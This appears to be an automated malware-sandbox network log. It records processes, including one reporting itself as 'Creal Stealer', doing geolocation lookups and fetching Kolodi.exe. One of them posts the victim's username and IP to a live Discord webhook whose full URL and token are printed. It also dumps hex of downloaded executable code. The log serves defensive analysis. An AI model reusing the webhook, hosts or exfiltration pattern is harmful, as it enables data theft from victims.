2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 45 33 c0 48 8d 95 a0 1f 00 00 48 89 44 24 20 48 8b cf ff 15 fe 8c 02 00 48 8b 4c 24 40 48 8b d8 e8 6d 28 01 00 48 8b 4c 24 48 e8 63 28 01 00 48 8b 4c 24 50 e8 59 28 01 00 48 8b 8d 78 1f 00 00 48 85 c9 74 06 ff 15 0b 89 02 00 48 8b 8d 80 1f 00 00 48 85 c9 74 06 ff 15 69 8c 02 00 8b c3 48 8b 8d c0 20 00 00 48 33 cc e8 68 95 00 00 48 81 c4 d0 21 00 00 41 5e 5f 5e 5b 5d c3 cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 48 89 7c 24 20 41 56 48 83 ec 20 33 ff 49 8b d8 48 8b f2 44 8b f7 8b ef 48 85 c9 74 10 48 8b d1 45 33 c0 33 c9 e8 37 63 00 00 48 8b f8 48 85 f6 74 10 45 33 c0 48 8b d6 33 c9 e8 22 63 00 00 4c 8b f0 48 85 db 74 10 45 33 c0 48 8b d3 33 c9 e8 0d 63 00 00 48 8b e8 48 85 ed 4c 8d 05 20 94 02 00 49 8b d6 48 8b cf 4c 0f 45 Data Ascii: E3HHD$ HHL$@Hm(HL$Hc(HL$PY(HxHtHHtiH H3hH!A^_^[]H\$Hl$Ht$H\|$ AVH 3IHDHtHE337cHHtE3H3"cLHtE3H3cHHL IHLE
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: cc cc cc cc 48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 53 57 b8 48 14 00 00 e8 f0 8f 00 00 48 2b e0 48 8b 05 9e b3 03 00 48 33 c4 48 89 84 24 30 14 00 00 48 8b d9 48 8d bc 24 68 14 00 00 e8 ab e3 ff ff 48 89 7c 24 28 48 8d 54 24 30 33 ff 4c 8b cb 41 b8 00 04 00 00 48 89 7c 24 20 48 8b 08 48 83 c9 02 e8 09 1e 01 00 33 d2 66 89 bc 24 30 04 00 00 41 b8 fe 07 00 00 48 8d 8c 24 32 04 00 00 e8 08 a4 00 00 41 b8 00 04 00 00 48 8d 54 24 30 48 8d 8c 24 30 0c 00 00 e8 f0 5d 00 00 48 85 c0 74 38 41 b8 00 04 00 00 48 8d 15 5e 8f 02 00 48 8d 8c 24 30 04 00 00 e8 d1 5d 00 00 44 8d 4f 30 33 c9 4c 8d 84 24 30 04 00 00 48 8d 94 24 30 0c 00 00 ff 15 6d 86 02 00 eb 1a 41 b9 30 00 00 00 4c 8d 05 26 8f 02 00 48 8d 54 24 30 33 c9 ff 15 59 86 02 00 48 8b 8c 24 Data Ascii: HL$HT$LD$LL$ SWHH+HH3H$0HH$hH\|$(HT$03LAH\|$ HH3f$0AH$2AHT$0H$0]Ht8AH^H$0]DO03L$0H$0mA0L&HT$03YH$
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: cc cc 4c 8b dc 49 89 53 10 4d 89 43 18 4d 89 4b 20 53 56 57 48 83 ec 70 48 8b 05 4b ae 03 00 48 33 c4 48 89 44 24 60 48 8b da 49 8d 73 18 48 8b f9 e8 5c de ff ff 48 89 74 24 28 4c 8b cb 41 b8 00 10 00 00 48 c7 44 24 20 00 00 00 00 48 8b d7 48 8b 08 48 83 c9 02 e8 ba 18 01 00 85 c0 b9 ff ff ff ff 0f 48 c1 3d 00 10 00 00 7c 04 8b c1 eb 0d 48 8d 54 24 30 48 8b cf e8 c0 2b 01 00 48 8b 4c 24 60 48 33 cc e8 87 8a 00 00 48 83 c4 70 5f 5e 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 18 56 57 41 55 41 56 41 57 48 83 ec 30 48 8b 05 e0 ba 03 00 4c 8b f9 48 8d 0d 5e 8b 02 00 41 8b f9 49 8b d8 48 8b f2 45 33 f6 ff 15 ac 81 02 00 4c 8b e8 48 85 c0 0f 84 9c 01 00 00 48 8b c8 4c 89 64 24 68 48 8b 05 e1 ba 03 00 48 8d 15 3a 8b 02 00 ff 15 84 81 02 00 4c Data Ascii: LISMCMK SVWHpHKH3HD$`HIsH\Ht$(LAHD$ HHHH=\|HT$0H+HL$`H3Hp_^[H\$VWAUAVAWH0HLH^AIHE3LHHLd$hHH:L
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 05 43 87 02 00 c7 44 24 20 5c 00 00 00 48 8d 4c 24 50 48 8b e8 e8 c6 e7 ff ff 3d 00 10 00 00 0f 8d 26 02 00 00 48 8b 05 a4 b6 03 00 48 8d 4c 24 50 ff 15 e9 7c 02 00 48 8d 15 4a 87 02 00 49 8b cf 48 8b f8 4c 8b c0 48 8b 05 2a b6 03 00 ff 15 cc 7c 02 00 48 8b 05 2d b5 03 00 48 8b cf ff 15 bc 7c 02 00 8b 53 0c 48 8b cd 48 8b 05 d7 b5 03 00 ff 15 a9 7c 02 00 48 8b f8 48 85 c0 0f 84 a2 01 00 00 4c 8b c0 48 8d 15 33 87 02 00 48 8b 05 e4 b5 03 00 49 8b cf ff 15 83 7c 02 00 48 8b 05 7c b5 03 00 4d 8b c4 49 8b d4 48 8b cf ff 15 6d 7c 02 00 48 85 c0 74 5e 48 8b cd e8 ac 17 01 00 48 8b d3 48 8b ce e8 b5 e2 ff ff 48 8b d8 48 3b 46 10 0f 82 fc fe ff ff 33 c0 48 8b ac 24 98 10 00 00 48 8b bc 24 a0 10 00 00 4c 8b b4 24 60 10 00 00 4c 8b a4 24 68 10 00 00 48 8b 8c 24 50 Data Ascii: CD$ \HL$PH=&HHL$P\|HJIHLH*\|H-H\|SHH\|HHLH3HI\|H\|MIHm\|Ht^HHHHH;F3H$H$L$`L$hH$P
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 10 42 0f b6 0c 00 2b d1 75 07 48 ff c0 85 c9 75 ed 85 d2 74 4a 48 8d 9f 70 30 00 00 4c 8b ce 48 8b cb 4c 8d 05 c5 7d 02 00 ba 00 10 00 00 e8 4b e2 ff ff 3d 00 10 00 00 0f 8d 22 fe ff ff c7 87 74 50 00 00 01 00 00 00 66 0f 1f 44 00 00 0f b6 03 88 83 00 10 00 00 48 8d 5b 01 84 c0 75 ef 48 8b cf e8 47 f9 ff ff 48 8b cf e8 7f f7 ff ff 48 8b cf 8b d8 e8 25 f9 ff ff 48 8b 4c 24 20 e8 4b 2b 00 00 48 8d 4c 24 20 e8 61 30 00 00 8b c3 e9 d1 fd ff ff 48 8b 54 24 20 48 8b cf e8 ad f7 ff ff 85 c0 0f 85 b7 fd ff ff 48 8d 97 70 30 00 00 48 8d 0d 07 82 02 00 e8 a2 42 00 00 48 8d 0d fb 81 02 00 e8 26 3e 00 00 e8 e1 f8 ff ff 4d 8b cc 48 8d 4c 24 30 45 8b c5 48 8b d7 e8 2e 43 00 00 48 8b 4c 24 20 8b d8 e8 e2 2a 00 00 48 8d 4c 24 20 e8 f8 2f 00 00 83 bf 74 50 00 00 01 75 0c Data Ascii: B+uHutJHp0LHL}K="tPfDH[uHGHH%HL$ K+HL$ a0HT$ HHp0HBH&>MHL$0EH.CHL$ *HL$ /tPu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49765	104.21.42.224	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:20 UTC	75	OUT	GET /Kolodi.exe HTTP/1.1 Host: edarululoom.com Connection: Keep-Alive
2023-12-20 14:35:21 UTC	591	IN	HTTP/1.1 403 Forbidden Date: Wed, 20 Dec 2023 14:35:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U1Mvb9Q8NKisU8coOt6duCycLYqf41plk6GL0YlklYji4lWo0rgCBFIfaiDyX40mpjupfjSDP%2FdT9z2jim2XvNl%2BEnczGrBA0B8uarSVrvhcic2ZBJ0G7W1SekQDHCqIEy0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889c81688f4c08-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:21 UTC	99	IN	Data Raw: 35 64 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 5d<html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
2023-12-20 14:35:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49767	172.67.139.220	443	7960	C:\Users\user\Desktop\a\buildz.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:22 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-12-20 14:35:22 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:22 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q21mIVufdj6lY%2FijuZn2C5dyyI%2BwDPgpvPJzEZbE3C6q6e5PdBoxI7ACD6C29OayXYXPN027cSgZnVIAXvHez2EVHzfkpeemdyRun%2BkAd5OCy3CqghqGAueANXaG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889c889b61daed-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:22 UTC	441	IN	Data Raw: 31 62 32 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 46 6c 6f 72 69 64 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 33 34 5c 75 30 34 33 30 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 Data Ascii: 1b2{"ip":"102.129.152.212","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Florida","region_rus":"\u0424\u043b\u043e\u0440\u0438\u0434\u0430","region_ua":"\u0424\u04
2023-12-20 14:35:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49772	64.185.227.156	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:25 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:25 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Wed, 20 Dec 2023 14:35:25 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin
2023-12-20 14:35:25 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49777	172.67.139.220	443	6664	C:\Users\user\Desktop\a\buildz.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:26 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-12-20 14:35:27 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:27 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oG4xz9dVyTv98hsZDGxosX9eMePYM1h6ze4nnll0m%2BfLmIEwGehxtPcbmP50XN7fxJn0FCfniEKWkz66QfPyynQVGt9ez2vMiJJJnRwbmLdJ7%2FBKFq7S%2BPbrishS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889ca4f94dda67-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:27 UTC	441	IN	Data Raw: 31 62 32 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 46 6c 6f 72 69 64 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 33 34 5c 75 30 34 33 30 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 Data Ascii: 1b2{"ip":"102.129.152.212","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Florida","region_rus":"\u0424\u043b\u043e\u0440\u0438\u0434\u0430","region_ua":"\u0424\u04
2023-12-20 14:35:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49775	159.89.102.253	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:26 UTC	143	OUT	GET /jsonp/102.129.152.212 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:27 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
2023-12-20 14:35:27 UTC	197	IN	Data Raw: 62 61 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: bacallback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.152.212","state":"California"})0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49780	162.159.136.232	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:28 UTC	332	OUT	POST /api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8bPVrLSV4Ki90tOZoTMLE9 HTTP/1.1 Accept-Encoding: identity Content-Length: 406 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2023-12-20 14:35:28 UTC	406	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 5a 69 70 73 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72 2f 6d 61 69 6e 2f Data Ascii: {"content": ":flag_us: - `user \| 102.129.152.212 (United States)`", "embeds": [{"title": "Creal Zips", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/
2023-12-20 14:35:28 UTC	1362	IN	HTTP/1.1 204 No Content Date: Wed, 20 Dec 2023 14:35:28 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=058243ec9f4511eea114d283ff5b88e7; Expires=Mon, 18-Dec-2028 14:35:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 3 x-ratelimit-reset: 1703082930 x-ratelimit-reset-after: 1 via: 1.1 google Alt-Svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jh2CBNRmlNy6M48S%2Bfjbhbkf%2FOSbCS0wV%2BXRY%2BXFu0nebzXgN4F%2Bg1Wqj5P676%2Ffrldtm5j%2BuUK8FdvhvuPtQlUIsf3mkbVkYINApPLp0m4gPvbWX6gScB7aafNP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=058243ec9f4511eea114d283ff5b88e77b40b6cbc7711f83b2a82f9b2ca8ebd8caec4446b3bfacd9040b189c0e2d2ec5; Expires=Mon, 18-Dec-2028 14:35:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=e1d7f3b689140b37e2100c1d7bced748dc3cccb4-1703082928; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2023-12-20 14:35:28 UTC	205	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 4e 39 43 2e 54 4b 71 6e 45 4c 65 4a 57 64 4b 44 30 7a 48 48 39 74 53 6c 72 39 72 52 4a 37 61 52 7a 38 61 6a 6a 54 62 33 5a 6c 49 2d 31 37 30 33 30 38 32 39 32 38 39 31 34 2d 30 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 38 38 39 63 62 30 65 38 62 62 37 34 38 64 2d 4d 49 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=N9C.TKqnELeJWdKD0zHH9tSlr9rRJ7aRz8ajjTb3ZlI-1703082928914-0-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 83889cb0e8bb748d-MIA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49785	64.185.227.156	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:32 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:33 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Wed, 20 Dec 2023 14:35:32 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin
2023-12-20 14:35:33 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49787	149.154.167.99	443	4480	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:33 UTC	84	OUT	GET /n0sca HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2023-12-20 14:35:33 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 14:35:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12309 Connection: close Set-Cookie: stel_ssid=8a2a232f9ba90a4e6c_9122272219888241337; expires=Thu, 21 Dec 2023 14:35:33 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-12-20 14:35:33 UTC	12309	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6e 30 73 63 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @n0sca</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49790	172.67.139.220	443	7652	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:33 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-12-20 14:35:34 UTC	887	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:34 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HTKMYxaNOrlScW1ySCoMBXjbzoaIaza8k5ahMulIwSlkhQrKMaocUpJeRR8CF2CCvQf0KZgWhayuLsJfUNWpqLonJNrmVqMHJJAxigVUaqO7R%2Bn%2FwxniX9YufMG7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889cd23f2bdac1-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:34 UTC	441	IN	Data Raw: 31 62 32 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 46 6c 6f 72 69 64 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 33 34 5c 75 30 34 33 30 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 Data Ascii: 1b2{"ip":"102.129.152.212","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Florida","region_rus":"\u0424\u043b\u043e\u0440\u0438\u0434\u0430","region_ua":"\u0424\u04
2023-12-20 14:35:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49788	159.89.102.253	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:34 UTC	143	OUT	GET /jsonp/102.129.152.212 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:35 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
